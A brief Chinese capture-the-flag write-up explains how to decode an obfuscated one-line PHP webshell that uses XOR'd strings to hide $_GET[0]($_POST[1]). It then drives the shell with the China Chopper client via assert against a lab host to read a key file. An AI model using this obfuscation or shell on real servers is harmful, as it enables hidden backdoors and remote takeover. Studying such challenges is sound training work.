PHP代码分析溯源(第1题)
难易程度:★
题目类型:代码审计
使用工具:FireFox浏览器、菜刀
1.访问网页,得到php代码
<?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[$_]); ?>
2.使用在线编辑器中编辑php语句
$_++为1
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/")为_GET
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|")为_POST
!$_是0
构成一句话木马$_GET[0]($_POST[1])
3.打开菜刀构造url为http://219.153.49.228:42918/b.php?0=assert,密码为1
4.在html文件夹中找到key文件。
5.打开key文件获取key。